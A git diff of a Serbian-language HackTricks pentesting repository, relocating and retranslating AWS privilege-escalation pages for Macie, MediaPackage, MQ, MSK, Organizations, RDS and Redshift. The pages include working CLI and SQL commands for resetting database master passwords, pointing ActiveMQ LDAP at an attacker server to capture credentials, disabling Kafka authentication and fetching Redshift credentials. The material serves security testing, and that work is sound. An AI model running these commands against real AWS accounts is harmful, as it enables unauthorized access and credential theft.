napadaču da koristi **"Reveal Sample" funkciju** da izvuče prethodno otkrivenu tajnu. Ovaj problem predstavlja značajan bezbednosni rizik, jer tajne za koje se smatralo da su obrisane ostaju dostupne ovom metodom. - -![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66) - -**Koraci za reprodukciju:** - -1. Otpremite fajl (npr., `test-secret.txt`) u S3 kantu sa osetljivim podacima, kao što je AWS tajni ključ. Sačekajte da AWS Macie skenira i generiše nalaz. - -2. Idite na AWS Macie Findings, locirajte generisani nalaz i koristite **Reveal Sample** funkciju da pogledate otkrivenu tajnu. - -3. Obrišite `test-secret.txt` iz S3 kante i proverite da više ne postoji. - -4. Kreirajte novi fajl pod imenom `test-secret.txt` sa lažnim podacima i ponovo ga otpremite u istu S3 kantu koristeći **napadačev račun**. - -5. Vratite se na AWS Macie Findings, pristupite originalnom nalazu i ponovo kliknite na **Reveal Sample**. - -6. Primetite da Macie i dalje otkriva originalnu tajnu, uprkos tome što je fajl obrisan i zamenjen različitim sadržajem **iz različitih računa, u našem slučaju to će biti napadačev račun**. - -**Sažetak:** - -Ova ranjivost omogućava napadaču sa dovoljnim AWS IAM dozvolama da povrati prethodno otkrivene tajne čak i nakon što je originalni fajl obrisan iz S3. Ako je AWS tajni ključ, pristupni token ili drugi osetljivi akreditiv izložen, napadač bi mogao iskoristiti ovu manu da ga povrati i dobije neovlašćen pristup AWS resursima. To bi moglo dovesti do eskalacije privilegija, neovlašćenog pristupa podacima ili daljeg kompromitovanja cloud resursa, što rezultira curenjem podataka i prekidima usluga. -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md new file mode 100644 index 000000000..702e780f6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md @@ -0,0 +1,38 @@ +# AWS - Macie Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Macie + +Za više informacija o Macie pogledajte: + +{{#ref}} +../../aws-services/aws-macie-enum.md +{{#endref}} + +### Amazon Macie - Bypass `Reveal Sample` Integrity Check + +AWS Macie je bezbednosna usluga koja automatski detektuje osetljive podatke u AWS okruženjima, kao što su credentials, personally identifiable information (PII) i drugi poverljivi podaci. Kada Macie identifikuje osetljivu credential, kao što je AWS secret key smešten u S3 bucket, generiše finding koji vlasniku omogućava da pogleda "sample" detektovanih podataka. Tipično se očekuje da, kada se osetljivi fajl ukloni iz S3 bucketa, taj secret više ne može biti vraćen. + +Međutim, identifikovan je **bypass** gde attacker sa dovoljnim permissions može **re-upload a file with the same name** ali koji sadrži različite, neosetljive dummy podatke. To navodi Macie da poveže novootpremljeni fajl sa originalnim finding-om, što attacker-u omogućava da upotrebom **"Reveal Sample" feature** izvuče prethodno detektovani secret. Ovaj problem predstavlja ozbiljan bezbednosni rizik, jer se secret-i koji su smatrani obrisanim i dalje mogu vratiti putem ove metode. + +![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66) + +**Koraci za reprodukciju:** + +1. Otpremite fajl (npr. `test-secret.txt`) u S3 bucket koji sadrži osetljive podatke, kao što je AWS secret key. Sačekajte da AWS Macie izvrši skeniranje i generiše finding. + +2. Idite na AWS Macie Findings, pronađite generisani finding i koristite funkciju **Reveal Sample** da pogledate detektovani secret. + +3. Obrišite `test-secret.txt` iz S3 bucketa i potvrdite da više ne postoji. + +4. Kreirajte novi fajl pod imenom `test-secret.txt` sa dummy podacima i ponovo ga otpremite u isti S3 bucket koristeći **attacker's account**. + +5. Vratite se na AWS Macie Findings, otvorite originalni finding i ponovo kliknite **Reveal Sample**. + +6. Primetićete da Macie i dalje otkriva originalni secret, uprkos tome što je fajl obrisan i zamenjen različitim sadržajem **iz različitih naloga, u našem slučaju to će biti attacker's account**. + +**Summary:** + +Ova ranjivost omogućava attacker-u sa dovoljnim AWS IAM permissions da povrati ranije detektovane secrets čak i nakon što je originalni fajl obrisan iz S3. Ako je AWS secret key, access token, ili neki drugi osetljivi credential izložen, attacker može iskoristiti ovu slabost da ga povrati i dobije unauthorized access do AWS resursa. To može dovesti do privilege escalation, unauthorized data access, ili daljeg kompromitovanja cloud assets, što može rezultovati data breaches i prekidima usluga. +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md similarity index 55% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md index 38d56bdc2..57fa60d67 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md @@ -1,16 +1,16 @@ # AWS - Mediapackage Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ### `mediapackage:RotateChannelCredentials` -Menja korisničko ime i lozinku prvog IngestEndpoint-a kanala. (Ovaj API je zastareo za RotateIngestEndpointCredentials) +Menja korisničko ime i lozinku prvog IngestEndpoint-a resursa Channel. (Ovaj API je zastareo — koristite RotateIngestEndpointCredentials) ```bash aws mediapackage rotate-channel-credentials --id ``` ### `mediapackage:RotateIngestEndpointCredentials` -Menja korisničko ime i lozinku prvog IngestEndpoint-a kanala. (Ova API je zastarela za RotateIngestEndpointCredentials) +Menja korisničko ime i lozinku prvog IngestEndpoint-a Channel-a. (Ovaj API je zastareo za RotateIngestEndpointCredentials) ```bash aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63 ``` @@ -18,4 +18,4 @@ aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint- - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md deleted file mode 100644 index e3c061ff2..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md +++ /dev/null @@ -1,43 +0,0 @@ -# AWS - MQ Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## MQ - -Za više informacija o MQ proverite: - -{{#ref}} -../aws-services/aws-mq-enum.md -{{#endref}} - -### `mq:ListBrokers`, `mq:CreateUser` - -Sa tim dozvolama možete **napraviti novog korisnika u ActimeMQ brokeru** (ovo ne funkcioniše u RabbitMQ): -```bash -aws mq list-brokers -aws mq create-user --broker-id --console-access --password --username -``` -**Potencijalni uticaj:** Pristup osetljivim informacijama navigacijom kroz ActiveMQ - -### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser` - -Sa tim dozvolama možete **napraviti novog korisnika u ActiveMQ brokeru** (ovo ne funkcioniše u RabbitMQ): -```bash -aws mq list-brokers -aws mq list-users --broker-id -aws mq update-user --broker-id --console-access --password --username -``` -**Potencijalni uticaj:** Pristup osetljivim informacijama navigirajući kroz ActiveMQ - -### `mq:ListBrokers`, `mq:UpdateBroker` - -Ako broker koristi **LDAP** za autorizaciju sa **ActiveMQ**. Moguće je **promeniti** **konfiguraciju** LDAP servera koji se koristi na **onaj koji kontroliše napadač**. Na ovaj način napadač će moći da **ukrade sve kredencijale koji se šalju putem LDAP**. -```bash -aws mq list-brokers -aws mq update-broker --broker-id --ldap-server-metadata=... -``` -Ako biste nekako mogli pronaći originalne akreditive korišćene od strane ActiveMQ, mogli biste izvesti MitM, ukrasti akreditive, koristiti ih na originalnom serveru i poslati odgovor (možda samo ponovo koristeći ukradene akreditive mogli biste to uraditi). - -**Potencijalni uticaj:** Ukrasti ActiveMQ akreditive - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md new file mode 100644 index 000000000..6a4bcc71a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md @@ -0,0 +1,43 @@ +# AWS - MQ Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## MQ + +Za više informacija o MQ pogledajte: + +{{#ref}} +../../aws-services/aws-mq-enum.md +{{#endref}} + +### `mq:ListBrokers`, `mq:CreateUser` + +Sa tim dozvolama možete **kreirati novog korisnika u ActimeMQ brokeru** (ovo ne radi u RabbitMQ): +```bash +aws mq list-brokers +aws mq create-user --broker-id --console-access --password --username +``` +**Potential Impact:** Pristup osetljivim informacijama navigacijom kroz ActiveMQ + +### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser` + +Sa tim dozvolama možete **kreirati novog korisnika u ActimeMQ brokeru** (ovo ne radi u RabbitMQ): +```bash +aws mq list-brokers +aws mq list-users --broker-id +aws mq update-user --broker-id --console-access --password --username +``` +**Potencijalni uticaj:** Pristup osetljivim informacijama pri navigaciji kroz ActiveMQ + +### `mq:ListBrokers`, `mq:UpdateBroker` + +Ako broker koristi **LDAP** za autorizaciju sa **ActiveMQ**. Moguće je **promeniti** **konfiguraciju** LDAP servera koji se koristi i postaviti ga na server **koji kontroliše napadač**. Na taj način napadač će moći da **ukrade sve credentials koji se šalju preko LDAP-a**. +```bash +aws mq list-brokers +aws mq update-broker --broker-id --ldap-server-metadata=... +``` +Ako na neki način pronađete originalne credentials koje koristi ActiveMQ, možete izvesti MitM, ukrasti creds, upotrebiti ih na originalnom serveru i proslediti odgovor (možda biste ovo mogli uraditi i samo ponovnom upotrebom ukradenih creds). + +**Potencijalni uticaj:** Ukrasti ActiveMQ credentials + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md deleted file mode 100644 index c3f883d19..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md +++ /dev/null @@ -1,22 +0,0 @@ -# AWS - MSK Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## MSK - -Za više informacija o MSK (Kafka) pogledajte: - -{{#ref}} -../aws-services/aws-msk-enum.md -{{#endref}} - -### `msk:ListClusters`, `msk:UpdateSecurity` - -Sa ovim **privilegijama** i **pristupom VPC-u gde se nalaze kafka brokeri**, mogli biste dodati **None authentication** za pristup njima. -```bash -aws msk --client-authentication --cluster-arn --current-version -``` -Morate imati pristup VPC-u jer **ne možete omogućiti None autentifikaciju sa Kafka javno** izloženim. Ako je javno izložen, ako se koristi **SASL/SCRAM** autentifikacija, mogli biste **pročitati tajnu** za pristup (biće vam potrebne dodatne privilegije da pročitate tajnu).\ -Ako se koristi **IAM uloga zasnovana autentifikacija** i **kafka je javno izložena**, i dalje biste mogli zloupotrebiti te privilegije da dobijete dozvole za pristup. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md new file mode 100644 index 000000000..6c82d420c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md @@ -0,0 +1,22 @@ +# AWS - MSK Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## MSK + +Za više informacija o MSK (Kafka) pogledajte: + +{{#ref}} +../../aws-services/aws-msk-enum.md +{{#endref}} + +### `msk:ListClusters`, `msk:UpdateSecurity` + +Sa ovim **privilegijama** i **pristupom VPC-u gde se nalaze kafka brokeri**, možete dodati **None authentication** kako biste im pristupili. +```bash +aws msk --client-authentication --cluster-arn --current-version +``` +Treba vam pristup VPC jer **ne možete omogućiti None authentication kada je Kafka javno izložena**. Ako je javno izložena, i ako se koristi **SASL/SCRAM** autentifikacija, mogli biste **pročitati tajnu** da joj pristupite (biće vam potrebne dodatne privilegije da pročitate tajnu).\ +Ako se koristi **IAM role-based authentication** i **kafka je javno izložena** i dalje biste mogli zloupotrebiti te privilegije da sebi dodelite dozvole za pristup. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md deleted file mode 100644 index 86b88d6f2..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md +++ /dev/null @@ -1,18 +0,0 @@ -# AWS - Organizacije Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Organizacije - -Za više informacija pogledajte: - -{{#ref}} -../aws-services/aws-organizations-enum.md -{{#endref}} - -## Od upravljačkog naloga do naloga dece - -Ako kompromitujete root/upravljački nalog, šanse su da možete kompromitovati sve naloge dece.\ -Da [**naučite kako, proverite ovu stranicu**](../#compromising-the-organization). - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md new file mode 100644 index 000000000..3ddd5aaff --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md @@ -0,0 +1,18 @@ +# AWS - Organizations Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Organizations + +Za više informacija pogledajte: + +{{#ref}} +../../aws-services/aws-organizations-enum.md +{{#endref}} + +## From management Account to children accounts + +Ako kompromitujete root/management nalog, velike su šanse da možete kompromitovati sve podređene naloge.\ +Da biste saznali kako, pogledajte ovu stranicu [**learn how check this page**](../../index.html#compromising-the-organization). + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md deleted file mode 100644 index eaffd8c87..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md +++ /dev/null @@ -1,151 +0,0 @@ -# AWS - RDS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## RDS - Relational Database Service - -Za više informacija o RDS pogledajte: - -{{#ref}} -../aws-services/aws-relational-database-rds-enum.md -{{#endref}} - -### `rds:ModifyDBInstance` - -Sa tom dozvolom napadač može **promeniti lozinku glavnog korisnika**, i prijavu unutar baze podataka: -```bash -# Get the DB username, db name and address -aws rds describe-db-instances - -# Modify the password and wait a couple of minutes -aws rds modify-db-instance \ ---db-instance-identifier \ ---master-user-password 'Llaody2f6.123' \ ---apply-immediately - -# In case of postgres -psql postgresql://:@:5432/ -``` -> [!WARNING] -> Moraćete da možete da **kontaktirate bazu podataka** (obično su dostupne samo iz unutrašnjih mreža). - -**Potencijalni uticaj:** Pronaći osetljive informacije unutar baza podataka. - -### rds-db:connect - -Prema [**dokumentaciji**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html), korisnik sa ovom dozvolom može da se poveže na DB instancu. - -### Zloupotreba RDS Role IAM dozvola - -#### Postgresql (Aurora) - -> [!TIP] -> Ako pokrenete **`SELECT datname FROM pg_database;`** i pronađete bazu podataka pod nazivom **`rdsadmin`**, znate da ste unutar **AWS postgresql baze podataka**. - -Prvo možete proveriti da li je ova baza podataka korišćena za pristup bilo kojoj drugoj AWS usluzi. To možete proveriti gledajući instalirane ekstenzije: -```sql -SELECT * FROM pg_extension; -``` -Ako pronađete nešto poput **`aws_s3`**, možete pretpostaviti da ova baza podataka ima **neku vrstu pristupa S3** (postoje i druge ekstenzije kao što su **`aws_ml`** i **`aws_lambda`**). - -Takođe, ako imate dozvole da pokrenete **`aws rds describe-db-clusters`**, možete videti da li **klaster ima neku IAM ulogu pridruženu** u polju **`AssociatedRoles`**. Ako ima, možete pretpostaviti da je baza podataka **pripremljena za pristup drugim AWS uslugama**. Na osnovu **imena uloge** (ili ako možete dobiti **dozvole** uloge) mogli biste **pogoditi** koji dodatni pristup baza podataka ima. - -Sada, da **pročitate datoteku unutar bucket-a**, potrebno je da znate punu putanju. Možete je pročitati sa: -```sql -// Create table -CREATE TABLE ttemp (col TEXT); - -// Create s3 uri -SELECT aws_commons.create_s3_uri( -'test1234567890678', // Name of the bucket -'data.csv', // Name of the file -'eu-west-1' //region of the bucket -) AS s3_uri \gset - -// Load file contents in table -SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri'); - -// Get info -SELECT * from ttemp; - -// Delete table -DROP TABLE ttemp; -``` -Ako imate **sirove AWS akreditive**, možete ih takođe koristiti za pristup S3 podacima sa: -```sql -SELECT aws_s3.table_import_from_s3( -'t', '', '(format csv)', -:'s3_uri', -aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') -); -``` -> [!NOTE] -> Postgresql **ne treba da menja nijednu promenljivu u grupi parametara** da bi mogao da pristupi S3. - -#### Mysql (Aurora) - -> [!TIP] -> Unutar mysql-a, ako pokrenete upit **`SELECT User, Host FROM mysql.user;`** i postoji korisnik pod imenom **`rdsadmin`**, možete pretpostaviti da ste unutar **AWS RDS mysql db**. - -Unutar mysql-a pokrenite **`show variables;`** i ako promenljive kao što su **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, imaju vrednosti, možete pretpostaviti da je baza podataka spremna za pristup S3 podacima. - -Takođe, ako imate dozvole da pokrenete **`aws rds describe-db-clusters`** možete proveriti da li klaster ima neku **povezanu ulogu**, što obično znači pristup AWS uslugama). - -Sada, da biste **pročitali datoteku unutar bucket-a** morate znati punu putanju. Možete je pročitati sa: -```sql -CREATE TABLE ttemp (col TEXT); -LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); -SELECT * FROM ttemp; -DROP TABLE ttemp; -``` -### `rds:AddRoleToDBCluster`, `iam:PassRole` - -Napadač sa dozvolama `rds:AddRoleToDBCluster` i `iam:PassRole` može **dodati određenu ulogu postojećem RDS instanci**. Ovo bi moglo omogućiti napadaču da **pristupi osetljivim podacima** ili izmeni podatke unutar instance. -```bash -aws add-role-to-db-cluster --db-cluster-identifier --role-arn -``` -**Potencijalni uticaj**: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instanci.\ -Napomena da neki DB-ovi zahtevaju dodatne konfiguracije kao što je Mysql, koji treba da specificira ARN u grupama parametara. - -### `rds:CreateDBInstance` - -Samo sa ovom dozvolom, napadač bi mogao da kreira **novu instancu unutar klastera** koji već postoji i ima **IAM ulogu** prikačenu. Neće moći da promeni lozinku glavnog korisnika, ali bi mogao da izloži novu instancu baze podataka internetu: -```bash -aws --region eu-west-1 --profile none-priv rds create-db-instance \ ---db-instance-identifier mydbinstance2 \ ---db-instance-class db.t3.medium \ ---engine aurora-postgresql \ ---db-cluster-identifier database-1 \ ---db-security-groups "string" \ ---publicly-accessible -``` -### `rds:CreateDBInstance`, `iam:PassRole` - -> [!NOTE] -> TODO: Test - -Napadač sa dozvolama `rds:CreateDBInstance` i `iam:PassRole` može **napraviti novu RDS instancu sa određenom ulogom**. Napadač može potencijalno **pristupiti osetljivim podacima** ili izmeniti podatke unutar instance. - -> [!WARNING] -> Neki zahtevi za ulogu/profil instance koji treba prikačiti (iz [**ovde**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): - -> - Profil mora postojati u vašem nalogu. -> - Profil mora imati IAM ulogu koju Amazon EC2 ima dozvolu da preuzme. -> - Ime profila instance i ime povezane IAM uloge moraju početi sa prefiksom `AWSRDSCustom`. -```bash -aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole -``` -**Potencijalni uticaj**: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instanci. - -### `rds:AddRoleToDBInstance`, `iam:PassRole` - -Napadač sa dozvolama `rds:AddRoleToDBInstance` i `iam:PassRole` može **dodati određenu ulogu postojećoj RDS instanci**. To bi moglo omogućiti napadaču da **pristupi osetljivim podacima** ili izmeni podatke unutar instance. - -> [!WARNING] -> DB instanca mora biti van klastera za ovo -```bash -aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name -``` -**Potencijalni uticaj**: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instanci. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md new file mode 100644 index 000000000..ca11bf466 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md @@ -0,0 +1,151 @@ +# AWS - RDS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## RDS - Relational Database Service + +Za više informacija o RDS pogledajte: + +{{#ref}} +../../aws-services/aws-relational-database-rds-enum.md +{{#endref}} + +### `rds:ModifyDBInstance` + +Sa tom dozvolom napadač može **izmeniti lozinku master korisnika**, i korisničko ime u bazi podataka: +```bash +# Get the DB username, db name and address +aws rds describe-db-instances + +# Modify the password and wait a couple of minutes +aws rds modify-db-instance \ +--db-instance-identifier \ +--master-user-password 'Llaody2f6.123' \ +--apply-immediately + +# In case of postgres +psql postgresql://:@:5432/ +``` +> [!WARNING] +> Biće potrebno da možete da **kontaktirate bazu podataka** (obično su dostupne samo iz unutrašnjih mreža). + +**Potencijalni uticaj:** Pronalaženje osetljivih informacija u bazama podataka. + +### rds-db:connect + +Prema [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) korisnik sa ovom dozvolom može da se poveže na DB instance. + +### Zloupotreba RDS Role IAM permissions + +#### Postgresql (Aurora) + +> [!TIP] +> Ako pokrenete **`SELECT datname FROM pg_database;`** i pronađete bazu podataka zvanu **`rdsadmin`**, znate da se nalazite u **AWS postgresql bazi**. + +Prvo možete proveriti da li je ova baza korišćena za pristup nekim drugim AWS servisima. To možete proveriti gledajući instalirane ekstenzije: +```sql +SELECT * FROM pg_extension; +``` +Ako nađete nešto poput **`aws_s3`** možete pretpostaviti da ova baza ima **neki vid pristupa over S3** (postoje i druge ekstenzije kao što su **`aws_ml`** i **`aws_lambda`**). + +Takođe, ako imate dozvole da pokrenete **`aws rds describe-db-clusters`** možete videti da li **cluster ima bilo koju IAM Role pridruženu** u polju **`AssociatedRoles`**. Ako ih ima, možete pretpostaviti da je baza bila **pripremljena za pristup drugim AWS servisima**. Na osnovu **name of the role** (ili ako možete dobiti **`permissions`** role) možete **pogoditi** koji dodatni pristup baza ima. + +Sada, da biste **read a file inside a bucket** morate znati punu putanju. Možete ga pročitati pomoću: +```sql +// Create table +CREATE TABLE ttemp (col TEXT); + +// Create s3 uri +SELECT aws_commons.create_s3_uri( +'test1234567890678', // Name of the bucket +'data.csv', // Name of the file +'eu-west-1' //region of the bucket +) AS s3_uri \gset + +// Load file contents in table +SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri'); + +// Get info +SELECT * from ttemp; + +// Delete table +DROP TABLE ttemp; +``` +Ako biste imali **raw AWS credentials**, mogli biste ih takođe koristiti za pristup S3 podacima pomoću: +```sql +SELECT aws_s3.table_import_from_s3( +'t', '', '(format csv)', +:'s3_uri', +aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') +); +``` +> [!NOTE] +> Postgresql **ne mora da menja nijednu promenljivu parametarske grupe** da bi mogao da pristupi S3. + +#### Mysql (Aurora) + +> [!TIP] +> Unutar mysql-a, ako pokrenete upit **`SELECT User, Host FROM mysql.user;`** i postoji korisnik pod imenom **`rdsadmin`**, možete pretpostaviti da ste unutar **AWS RDS mysql db**. + +Unutar mysql-a pokrenite **`show variables;`** i ako promenljive kao što su **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** imaju vrednosti, možete pretpostaviti da je baza podataka pripremljena za pristup S3 podacima. + +Takođe, ako imate dozvole da pokrenete **`aws rds describe-db-clusters`** možete proveriti da li klaster ima neku **associated role**, što obično znači pristup AWS servisima). + +Sada, da biste **pročitali fajl unutar bucket-a** morate znati punu putanju. Možete ga pročitati sa: +```sql +CREATE TABLE ttemp (col TEXT); +LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); +SELECT * FROM ttemp; +DROP TABLE ttemp; +``` +### `rds:AddRoleToDBCluster`, `iam:PassRole` + +Napadač sa dozvolama `rds:AddRoleToDBCluster` i `iam:PassRole` može **dodati određenu ulogu postojećoj RDS instanci**. To bi moglo omogućiti napadaču da **pristupi osetljivim podacima** ili izmeni podatke u toj instanci. +```bash +aws add-role-to-db-cluster --db-cluster-identifier --role-arn +``` +**Potencijalni uticaj**: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instance.\ +Imajte na umu da neki DB-ovi zahtevaju dodatne konfiguracije kao što je Mysql, koji takođe zahteva navođenje role ARN u grupama parametara. + +### `rds:CreateDBInstance` + +Samo sa ovom dozvolom napadač bi mogao da kreira **novu instancu unutar klastera** koji već postoji i ima prikačenu **IAM role**. Neće moći da promeni lozinku master korisnika, ali bi mogao da izloži novu instancu baze podataka internetu: +```bash +aws --region eu-west-1 --profile none-priv rds create-db-instance \ +--db-instance-identifier mydbinstance2 \ +--db-instance-class db.t3.medium \ +--engine aurora-postgresql \ +--db-cluster-identifier database-1 \ +--db-security-groups "string" \ +--publicly-accessible +``` +### `rds:CreateDBInstance`, `iam:PassRole` + +> [!NOTE] +> TODO: Test + +Napadač koji ima dozvole `rds:CreateDBInstance` i `iam:PassRole` može **da kreira novu RDS instancu sa specificiranom ulogom prikačenom**. Napadač potom potencijalno može **pristupiti osetljivim podacima** ili izmeniti podatke unutar instance. + +> [!WARNING] +> Some requirements of the role/instance-profile to attach (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): + +> - Profil mora postojati na vašem nalogu. +> - Profil mora imati IAM ulogu koju Amazon EC2 ima dozvole da preuzme. +> - Ime instance profila i ime povezane IAM role moraju počinjati prefiksom `AWSRDSCustom` . +```bash +aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole +``` +**Mogući uticaj**: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instanci. + +### `rds:AddRoleToDBInstance`, `iam:PassRole` + +Napadač sa permisijama `rds:AddRoleToDBInstance` i `iam:PassRole` može **dodati određenu rolu postojećoj RDS instanci**. Ovo bi napadaču omogućilo da **pristupi osetljivim podacima** ili izmeni podatke u instanci. + +> [!WARNING] +> DB instanca mora biti van klastera za ovo +```bash +aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name +``` +**Potencijalni uticaj**: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instanci. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md deleted file mode 100644 index 2eef120f1..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md +++ /dev/null @@ -1,95 +0,0 @@ -# AWS - Redshift Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Redshift - -Za više informacija o RDS proverite: - -{{#ref}} -../aws-services/aws-redshift-enum.md -{{#endref}} - -### `redshift:DescribeClusters`, `redshift:GetClusterCredentials` - -Sa ovim dozvolama možete dobiti **informacije o svim klasterima** (uključujući ime i korisničko ime klastera) i **dobiti kredencijale** za pristup: -```bash -# Get creds -aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1 -# Connect, even if the password is a base64 string, that is the password -psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439 -``` -**Potencijalni uticaj:** Pronaći osetljive informacije unutar baza podataka. - -### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM` - -Sa ovim dozvolama možete dobiti **informacije o svim klasterima** i **dobiti kredencijale** za pristup njima.\ -Imajte na umu da će postgres korisnik imati **dozvole koje ima IAM identitet** korišćen za dobijanje kredencijala. -```bash -# Get creds -aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1 -# Connect, even if the password is a base64 string, that is the password -psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439 -``` -**Potencijalni uticaj:** Pronaći osetljive informacije unutar baza 